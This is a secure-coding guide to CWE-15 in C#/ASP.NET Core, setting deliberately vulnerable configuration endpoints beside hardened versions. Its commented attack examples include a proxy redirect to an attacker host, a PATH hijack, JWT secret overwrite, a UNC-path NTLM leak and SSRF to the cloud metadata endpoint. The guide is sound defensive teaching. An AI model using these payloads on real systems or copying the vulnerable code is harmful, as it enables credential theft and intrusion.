CWE-15: External Control of System or Configuration Setting - C#
Overview
External control of configuration in C# / ASP.NET Core applications occurs when HTTP request parameters, query strings, or body values are used to modify Environment.SetEnvironmentVariable(), IConfiguration entries, logging minimum levels, or application config objects at runtime. Attackers can exploit this to disable authentication checks, expose detailed error information, redirect API calls, or silence the audit trail.
Primary Defence: Bind configuration exclusively from environment variables and appsettings.json at startup using IOptions<T> with data annotation validation. Never expose endpoints that mutate IConfiguration, environment variables, or logging minimum levels without admin authorization and an explicit allowlist.
Common C# Configuration Injection Scenarios:
Environment.SetEnvironmentVariable(model.Key, model.Value)- modifies process environment((IConfigurationRoot)config)[key] = value- overwrites IConfiguration entriesconn.ChangeDatabase(request.Query["catalog"])- switches active database (MITRE canonical equivalent)client.Timeout = TimeSpan.FromSeconds(tainted)- denial of service via a very long timeoutConfigurationManager.AppSettings.Set(key, value)- mutates .NET Framework settings
ASP.NET Core Configuration Patterns:
IOptions<T>: Singleton, bound on first use and never recomputed - immutable and preferredIOptionsSnapshot<T>: Scoped. Computed once per request from the configuration as it stands then, and cached for the rest of that requestIOptionsMonitor<T>: Singleton that returns the current value at any time. Whether a change is ever seen depends on the provider: a JSON file bound withreloadOnChange, or a key vault or service-discovery provider that raises a change token, will refresh; a plain environment-variable or in-memory provider will not. None of them read from an HTTP requestLoggingLevelSwitch: Serilog's purpose-built mechanism for safe runtime level changes- DataAnnotations:
[Range],[RegularExpression],[Required]validate config at startup
Common Vulnerable Patterns
Environment.SetEnvironmentVariable from Request
// VULNERABLE - Environment variable set from HTTP request
[HttpPost("config/env")]
public IActionResult SetEnvVar([FromBody] EnvVarRequest model)
{
// Attacker sets HTTPS_PROXY, PATH, or any variable a library reads at use time
Environment.SetEnvironmentVariable(model.Key, model.Value);
return Ok("Updated");
}
// Attack example:
// POST /config/env {"key": "HTTPS_PROXY", "value": "http://attacker.example:8080"}
// Result: HttpClient.DefaultProxy is built from the environment the first time it is read,
// so outbound HTTPS calls - including ones carrying API credentials - go to the attacker
// POST /config/env {"key": "PATH", "value": "/tmp/evil:/usr/bin:/bin"}
// Result: the next Process.Start("git", ...) resolves to /tmp/evil/git - code execution
Why this is vulnerable: Environment.SetEnvironmentVariable() writes into the live process
environment, and anything that reads a variable after that point sees the new value. That
includes HttpClient.DefaultProxy, which is constructed from HTTPS_PROXY/ALL_PROXY on first
read; external process launches, which resolve executables through the current PATH and pass the
whole mutated environment to the child; and any application code calling
Environment.GetEnvironmentVariable() inside a request handler.
Not every variable is reachable this way. ASPNETCORE_ENVIRONMENT and ConnectionStrings__* are
read by the host builder and the environment-variables configuration provider once, while the host
is being built.
Setting them on a running app leaves IWebHostEnvironment.EnvironmentName and
IConfiguration["ASPNETCORE_ENVIRONMENT"] at their startup values - it does not switch on the
developer exception page.
Nor does it carry into the next start. The two-argument overload writes to the Process target,
which the documentation describes as persisting "only until the process has ended", and a freshly
launched process reads the variable back as null. What the write does reach is anything started
from this process - which is why the PATH payload above works, and why the child inherits the
whole modified block. The overload that persists is the three-argument one with
EnvironmentVariableTarget.User or .Machine: on Windows it writes to the registry and every
process the user launches afterwards inherits it, while on Linux it is ignored entirely. That is
worth checking for separately, because a configuration endpoint reaching that overload is a
machine-wide compromise rather than a request-scoped one.
IConfiguration Mutated via Indexer
// VULNERABLE - IConfiguration entry overwritten at runtime
[HttpPost("admin/config")]
public IActionResult UpdateConfig(string key, string value,
[FromServices] IConfiguration config)
{
// IConfiguration is ordinarily read-only; casting breaks that guarantee
((IConfigurationRoot)config)[key] = value;
return Ok("Updated");
}
// Attack example:
// POST /admin/config?key=Jwt:SecretKey&value=attackerKnownSecret
// Result: JWT tokens can now be forged by the attacker
Why this is vulnerable: Casting IConfiguration to IConfigurationRoot and using the indexer setter writes directly into the in-memory configuration provider, bypassing all type validation. This allows overwriting any configuration key including JWT secrets, database connection strings, and encryption keys.
Log Level Set from Query Parameter (Serilog)
// VULNERABLE - Serilog minimum level controlled by client
[HttpGet("debug/log-level")]
public IActionResult SetLogLevel([FromQuery] string level)
{
if (Enum.TryParse<LogEventLevel>(level, out var logLevel))
{
Serilog.Log.Logger = new LoggerConfiguration()
.MinimumLevel.Is(logLevel) // Attacker sets Verbose or Debug
.WriteTo.Console()
.CreateLogger();
}
return Ok($"Log level set to {level}");
}
// Attack example:
// GET /debug/log-level?level=Verbose
// Result: All request bodies, database queries, session tokens written to logs
Why this is vulnerable: LogEventLevel includes Verbose and Debug levels that log all internal state including sensitive data. Allowing clients to select the logging level gives attackers a channel to extract secrets (by lowering the level) or hide their tracks (by raising it to Fatal).
AppSettings Written at Runtime
// VULNERABLE - In-memory settings modified from request
[HttpPost("settings/update")]
public IActionResult UpdateSetting(string key, string value)
{
System.Configuration.ConfigurationManager.AppSettings.Set(key, value);
return Ok("Setting updated");
}
// Attack example:
// POST /settings/update?key=SecurityEnabled&value=false
// Result: Security flag disabled across all components reading this key
Why this is vulnerable: AppSettings.Set() mutates the in-memory settings bag globally, affecting all code paths that read those values for the lifetime of the AppDomain. There is no type validation, no authorization check, and no audit trail.
Database Catalog / Schema Changed from Request
// VULNERABLE - User controls which database is active on the connection
[HttpGet("report")]
public IActionResult GetReport([FromQuery] string catalog)
{
using var conn = new SqlConnection(_connectionString);
conn.Open();
conn.ChangeDatabase(catalog); // Attacker switches to another tenant's database
return Ok(RunReport(conn));
}
// Attack example:
// GET /report?catalog=other_customer_db
// Result: Queries run against another tenant's database - horizontal privilege escalation
// GET /report?catalog=master
// Result: Queries run against SQL Server master DB - system-level data exposure
Why this is vulnerable: SqlConnection.ChangeDatabase() (and NpgsqlConnection.ChangeDatabase()) switches the active database on the existing authenticated connection. An attacker can read another tenant's data or query system databases using the application's own credentials without needing separate authentication.
HttpClient Timeout Set from Request
// VULNERABLE - HTTP client timeout controlled by query parameter
[HttpPost("fetch")]
public async Task<IActionResult> FetchData(
[FromQuery] string url,
[FromQuery] int timeoutSeconds)
{
using var client = new HttpClient();
client.Timeout = TimeSpan.FromSeconds(timeoutSeconds); // Attacker picks the largest value accepted
var content = await client.GetStringAsync(url);
return Ok(content);
}
// Attack example:
// POST /fetch?url=https://slow.example.com&timeoutSeconds=2000000
// Result: each request holds a connection and its async state for up to 23 days
// Flood with many such requests → connection and memory exhaustion → denial of service
// POST /fetch?url=https://example.com&timeoutSeconds=0
// Result: ArgumentOutOfRangeException → unhandled 500 on every request
Why this is vulnerable: HttpClient.Timeout accepts anything from 1 millisecond to
int.MaxValue milliseconds - just under 25 days - so an attacker does not need an exotic value to
pin a connection open for far longer than any real request needs. Values outside that range throw
ArgumentOutOfRangeException rather than being clamped, so 0, a negative number, or
TimeSpan.FromSeconds(int.MaxValue) turns the endpoint into an unhandled-exception generator
instead. Note that TimeSpan.FromSeconds(-1) is not an infinite timeout: only
Timeout.InfiniteTimeSpan, which is -1 milliseconds, is accepted as infinite, and no integer
number of seconds produces it.
Secure Patterns
IOptions<T> with DataAnnotations Validation (PREFERRED)
// SECURE - Immutable settings bound and validated at startup
public class AppSettings
{
[Required]
[RegularExpression("^(Information|Warning|Error)$",
ErrorMessage = "LogLevel must be Information, Warning, or Error")]
public string LogLevel { get; init; } = "Information";
[Range(1, 120, ErrorMessage = "SessionTimeoutMinutes must be between 1 and 120")]
public int SessionTimeoutMinutes { get; init; } = 30;
[Required]
public string AllowedOrigins { get; init; } = "https://example.com";
}
// Program.cs - wire up validation at startup
builder.Services.AddOptions<AppSettings>()
.Bind(builder.Configuration.GetSection("App"))
.ValidateDataAnnotations() // Enforces [Required], [Range], [RegularExpression]
.ValidateOnStart(); // Fails startup immediately if any value is invalid
// Usage - inject IOptions<AppSettings>, read values, never write them
public class MyService
{
private readonly AppSettings _settings;
public MyService(IOptions<AppSettings> options)
{
_settings = options.Value; // Snapshot bound at startup
}
}
Why this works: IOptions<T> binds once and caches the result, and ValidateOnStart() forces that to happen while the host is starting rather than on first injection - so the values are fixed before any request arrives. init-only properties prevent reassignment after construction. ValidateDataAnnotations() enforces [RegularExpression] and [Range] constraints - invalid configuration causes a hard startup failure rather than a silent security regression. There is no path from an HTTP request to these values.
Allowlist-Validated Admin Log Level Endpoint (Serilog LoggingLevelSwitch)
// SECURE - Purpose-built level switch with admin auth and allowlist
[ApiController]
[Route("api/admin/config")]
[Authorize(Roles = "Admin")]
public class AdminConfigController : ControllerBase
{
private static readonly HashSet<string> AllowedLogLevels =
new(StringComparer.OrdinalIgnoreCase) { "Information", "Warning", "Error" };
private readonly LoggingLevelSwitch _levelSwitch;
private readonly ILogger<AdminConfigController> _logger;
public AdminConfigController(LoggingLevelSwitch levelSwitch,
ILogger<AdminConfigController> logger)
{
_levelSwitch = levelSwitch;
_logger = logger;
}
[HttpPost("log-level")]
public IActionResult SetLogLevel([FromBody] LogLevelRequest request)
{
if (!AllowedLogLevels.Contains(request.Level))
{
return BadRequest(new
{
error = $"Invalid level. Allowed: {string.Join(", ", AllowedLogLevels)}"
});
}
_levelSwitch.MinimumLevel = Enum.Parse<LogEventLevel>(request.Level, ignoreCase: true);
_logger.LogInformation("Log level changed to {Level} by {User}",
request.Level, User.Identity?.Name);
return Ok(new { status = "updated", level = request.Level });
}
}
// Register LoggingLevelSwitch as singleton in Program.cs
var levelSwitch = new LoggingLevelSwitch(LogEventLevel.Information);
builder.Services.AddSingleton(levelSwitch);
builder.Host.UseSerilog((ctx, services, cfg) =>
cfg.MinimumLevel.ControlledBy(levelSwitch)
.WriteTo.Console());
Why this works: AllowedLogLevels restricts changes to Information, Warning, and Error - levels that do not expose sensitive internal state. [Authorize(Roles = "Admin")] blocks the endpoint before the action method executes for non-admin users. LoggingLevelSwitch is Serilog's purpose-built, thread-safe mechanism for runtime level changes, eliminating the need to rebuild the entire logger pipeline.
Safe Database Catalog Selection
// SECURE - Database name validated against allowlist before use
private static readonly HashSet<string> AllowedCatalogs =
new(StringComparer.OrdinalIgnoreCase) { "reports_db", "archive_db" };
[HttpGet("report")]
[Authorize]
public IActionResult GetReport([FromQuery] string catalog)
{
if (!AllowedCatalogs.Contains(catalog))
return BadRequest(new { error = "Invalid catalog" });
using var conn = new SqlConnection(_connectionString);
conn.Open();
conn.ChangeDatabase(catalog);
return Ok(RunReport(conn));
}
Why this works: AllowedCatalogs defines exactly which databases users may query. Any value not in it - including other tenants' databases, master, tempdb, or nonexistent names - is rejected before ChangeDatabase() is called. Per-tenant connections that already target the right database at connection-string level are an even stronger alternative.
Safe HttpClient Timeout (Hardcoded)
// SECURE - Timeout is a constant; user cannot influence it
private static readonly TimeSpan HttpTimeout = TimeSpan.FromSeconds(10);
[HttpPost("fetch")]
public async Task<IActionResult> FetchData([FromQuery] string url)
{
// Timeout is never derived from the request
using var client = _httpClientFactory.CreateClient(); // configured via IHttpClientFactory
client.Timeout = HttpTimeout;
var content = await client.GetStringAsync(url);
return Ok(content);
}
Or register the timeout centrally in Program.cs so application code never sets it:
builder.Services.AddHttpClient("default", c =>
{
c.Timeout = TimeSpan.FromSeconds(10); // Enforced for all usages
});
Why this works: The timeout is a static readonly constant (or registered centrally via IHttpClientFactory) - no request parameter can change it. If timeouts must vary by scenario, bind them as validated IOptions<T> fields with [Range(1, 30)] rather than accepting them from the HTTP request.
IValidateOptions<T> for Custom Validation Logic
// SECURE - Custom cross-field validation with IValidateOptions
public class FeatureFlagsOptions
{
public bool BetaEnabled { get; init; }
public string Environment { get; init; } = "production";
}
public class FeatureFlagsValidator : IValidateOptions<FeatureFlagsOptions>
{
private static readonly HashSet<string> AllowedEnvironments =
new(StringComparer.OrdinalIgnoreCase) { "production", "staging" };
public ValidateOptionsResult Validate(string? name, FeatureFlagsOptions options)
{
if (!AllowedEnvironments.Contains(options.Environment))
{
return ValidateOptionsResult.Fail(
$"Environment must be one of: {string.Join(", ", AllowedEnvironments)}");
}
return ValidateOptionsResult.Success;
}
}
// Registration in Program.cs
builder.Services.AddOptions<FeatureFlagsOptions>()
.Bind(builder.Configuration.GetSection("FeatureFlags"))
.ValidateOnStart();
builder.Services.AddSingleton<IValidateOptions<FeatureFlagsOptions>, FeatureFlagsValidator>();
Why this works: IValidateOptions<T> allows cross-field validation logic beyond what data annotations can express. ValidateOnStart() ensures validation runs during the startup sequence - configuration that fails the allowlist check prevents the application from starting, making misconfiguration immediately visible rather than silently degrading security at runtime.
Double-Gated Admin Config Endpoint
// SECURE - Both key name and value gated by allowlist
private static readonly Dictionary<string, HashSet<string>> AllowedConfig =
new(StringComparer.OrdinalIgnoreCase)
{
["timeout.session"] = new(StringComparer.OrdinalIgnoreCase) { "15", "30", "60" },
["feature.beta"] = new(StringComparer.OrdinalIgnoreCase) { "true", "false" },
["log.level"] = new(StringComparer.OrdinalIgnoreCase) { "Information", "Warning", "Error" }
};
[HttpPost("{key}")]
[Authorize(Roles = "Admin")]
public IActionResult UpdateConfig(string key, [FromBody] ConfigValueRequest request)
{
if (!AllowedConfig.TryGetValue(key, out var allowedValues))
{
_logger.LogWarning("Rejected unknown config key '{Key}' from {User}", key, User.Identity?.Name);
return BadRequest(new { error = "Unknown configuration key" });
}
if (!allowedValues.Contains(request.Value))
{
_logger.LogWarning("Rejected invalid value '{Value}' for '{Key}' from {User}",
request.Value, key, User.Identity?.Name);
return BadRequest(new { error = $"Invalid value. Allowed: {string.Join(", ", allowedValues)}" });
}
_configService.Update(key, request.Value);
_logger.LogInformation("Config '{Key}' updated to '{Value}' by {User}", key, request.Value, User.Identity?.Name);
return Ok(new { status = "updated" });
}
Why this works: AllowedConfig acts as a double-gated allowlist - first checking that the key is a known settable field (blocking modification of undeclared keys like Jwt:SecretKey), then checking the value against that key's specific permitted set. Both accept and reject decisions are audit-logged with the requesting user's identity.
Testing
Verify the fix by testing:
- Allowlist bypass: Submit log levels like
Debug,Verbose, orTraceto admin endpoints - expect 400 - Unknown key injection: Attempt to set
Jwt:SecretKeyorConnectionStrings:Defaultvia any API - expect 400 or 404 - Environment variable mutation: Verify no endpoint accepts arbitrary
Environment.SetEnvironmentVariable()calls - Authorization bypass: Call admin config endpoints without an Admin role claim - expect 401/403
- Startup validation: Set an invalid value in
appsettings.jsonand confirm the application refuses to start
Untrusted Configuration Sources
The same weakness appears when the application loads configuration from a location that untrusted input controls.
Config File Loaded from User-Supplied Path (Vulnerable)
// VULNERABLE - JSON config file path comes from query string
[HttpPost("admin/load-config")]
public IActionResult LoadConfig([FromQuery] string filePath)
{
var json = System.IO.File.ReadAllText(filePath);
// Attack: filePath = "../../appsettings.Production.json" or "C:\Windows\win.ini"
var data = JsonSerializer.Deserialize<Dictionary<string, string>>(json);
_configService.Apply(data);
return Ok("Loaded");
}
// Attack example:
// POST /admin/load-config?filePath=../../appsettings.Production.json
// Result: Production secrets (DB connection strings, JWT keys) read and re-applied
// - or overwritten with attacker-controlled values
Why this is vulnerable: File.ReadAllText with a user-controlled path follows ../ traversal and accepts absolute paths. On Windows, UNC paths (\\attacker\share\evil.json) cause outbound SMB connections leaking NTLM credentials.
Config File Loaded from User-Supplied Path (Secure)
// SECURE - Only a fixed set of filenames are accepted; path is never from user input
private static readonly string ConfigDir =
Path.GetFullPath("/var/app/configs");
private static readonly HashSet<string> AllowedFilenames =
new(StringComparer.OrdinalIgnoreCase)
{
"feature-flags.json",
"rate-limits.json"
};
[HttpPost("admin/load-config")]
[Authorize(Roles = "Admin")]
public IActionResult LoadConfig([FromBody] LoadConfigRequest request)
{
if (!AllowedFilenames.Contains(request.Filename))
return BadRequest(new { error = "Unknown config file" });
// Resolve within trusted directory and verify no traversal
var resolved = Path.GetFullPath(Path.Combine(ConfigDir, request.Filename));
if (!resolved.StartsWith(ConfigDir + Path.DirectorySeparatorChar,
StringComparison.OrdinalIgnoreCase))
return BadRequest(new { error = "Invalid path" });
var json = System.IO.File.ReadAllText(resolved);
var data = JsonSerializer.Deserialize<Dictionary<string, JsonElement>>(json);
_configService.ApplyAllowlisted(data);
_logger.LogInformation("Config file {File} loaded by {User}",
request.Filename, User.Identity?.Name);
return Ok(new { status = "loaded" });
}
Why this works: AllowedFilenames is an explicit set - any name not in it is rejected before a path is constructed. Path.GetFullPath() resolves all ../ components; the subsequent StartsWith(ConfigDir + separator) check verifies the result stays inside the trusted directory. JsonSerializer.Deserialize (unlike BinaryFormatter or JavaScriptSerializer) is safe for loading plain data.
Remote Config URL Fetched at Request Time (Vulnerable)
// VULNERABLE - Application fetches config from user-supplied URL
[HttpPost("admin/remote-config")]
public async Task<IActionResult> LoadRemoteConfig([FromBody] RemoteConfigRequest request)
{
using var client = new HttpClient();
// Attack: request.Url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
var content = await client.GetStringAsync(request.Url);
_configService.ApplyFromJson(content);
return Ok("Applied");
}
// Attack example:
// POST /admin/remote-config {"url": "http://169.254.169.254/latest/meta-data/"}
// Result: Azure IMDS / AWS metadata fetched - managed identity tokens stolen
Why this is vulnerable: HttpClient.GetStringAsync() with a user-controlled URL is an SSRF vulnerability. In Azure/AWS/GCP, the instance metadata endpoint returns managed-identity tokens. Internal services (Redis, SQL admin, Kubernetes API) are also reachable from the application host.
Remote Config URL Fetched at Request Time (Secure)
// SECURE - Config source URL is a constant; user cannot influence which endpoint is called
private const string InternalConfigUrl =
"https://config.internal.example.com/api/v1/app-config";
[HttpPost("admin/refresh-config")]
[Authorize(Roles = "Admin")]
public async Task<IActionResult> RefreshConfig()
{
// URL is NOT derived from any request parameter
using var client = _httpClientFactory.CreateClient("InternalConfig");
var content = await client.GetStringAsync(InternalConfigUrl);
_configService.ApplyFromJson(content);
_logger.LogInformation("Config refreshed from internal service by {User}",
User.Identity?.Name);
return Ok(new { status = "refreshed" });
}
Why this works: InternalConfigUrl is a const - it cannot be changed at runtime, and there is no code path from a request parameter to the URL passed to HttpClient. The named HttpClient registered via IHttpClientFactory can also be configured with BaseAddress and policy handlers, so the destination and its transport policy are set at startup rather than in the action method.